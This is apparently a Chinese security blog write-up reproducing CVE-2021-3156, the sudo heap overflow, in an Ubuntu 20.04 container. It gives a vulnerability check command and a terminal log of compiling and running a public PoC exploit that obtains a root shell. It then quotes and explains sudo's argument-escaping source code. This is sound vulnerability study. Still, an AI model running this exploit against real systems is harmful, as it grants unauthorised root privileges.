文章首发于安全客
CVE-2021-3156 sudo heap-based bufoverflow 复现&分析
CVE-2021-3156
是sudo
的一个堆溢出漏洞,可以用来进行本地提权。在类uninx
中非root
可以使用sudo
来以root
的权限执行操作。由于sudo
错误的转义了\\\\
导致了一个堆溢出漏洞。
漏洞影响版本为1.8.2-1.8.31sp12, 1.9.0-1.9.5sp1
,sudo >=1.9.5sp2
的版本则不受影响。
感谢luc
师傅带我飞。
这里我首先使用的是docker ubuntu 20.04
,查看一下sudo
版本,这里需要注意的是首先需要创建一个普通权限的用户
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
执行命令sudoedit -s /
如果回显
root@c957df720fc7:~/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty# sudoedit -s /
sudoedit: /: not a regular file
则表明存在漏洞,如果回显
➜ work sudoedit -s /
usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...
则表示漏洞已经被修复
首先我们使用exp先执行一下
root@c957df720fc7:~/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty# su normal
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ ls
Makefile README.md hax.c lib.c libnss_X sudo-hax-me-a-sandwich
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ make
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ ./sudo-hax-me-a-sandwich 1
** CVE-2021-3156 PoC by blasty <[email protected]>
using target: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1000(normal)
# exit
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$
当sudo
以-i,-s
参数启动即MODE_SHELL,MODE_LOGIN_SHELl
标志启动的时候,sudo
会使用\\\\
转义所有的元字符,并重写argc,argv
//src/parse_args.c/parse_args
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
if (argc != 0) {
/* shell -c "command" */
char *src, *dst;
size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
strlen(argv[argc - 1]) + 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
if (cmnd == NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
if (!gc_add(GC_PTR, cmnd))
exit(1);
for (av = argv; *av != NULL; av++) {// 串联所有的命令参数字符串
for (src = *av; *src != '\\\\0'; src++) {
/* quote potential meta characters */
// 用\\\\转义所有的元字符
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\\\\\\\';
*dst++ = *src;
}
*dst++ = ' ';
}
if (cmnd != dst)
dst--; /* replace last space with a NUL */
*dst = '\\\\0';
ac += 2; /* -c cmnd */
}
// 重写argc,argv
av = reallocarray(NULL, ac + 1, sizeof(char *));
if (av == NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
if (!gc_add(GC_PTR, av))
exit(1);
av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
之后会在sudoers_policy_main
函数中调用set_cmnd
函数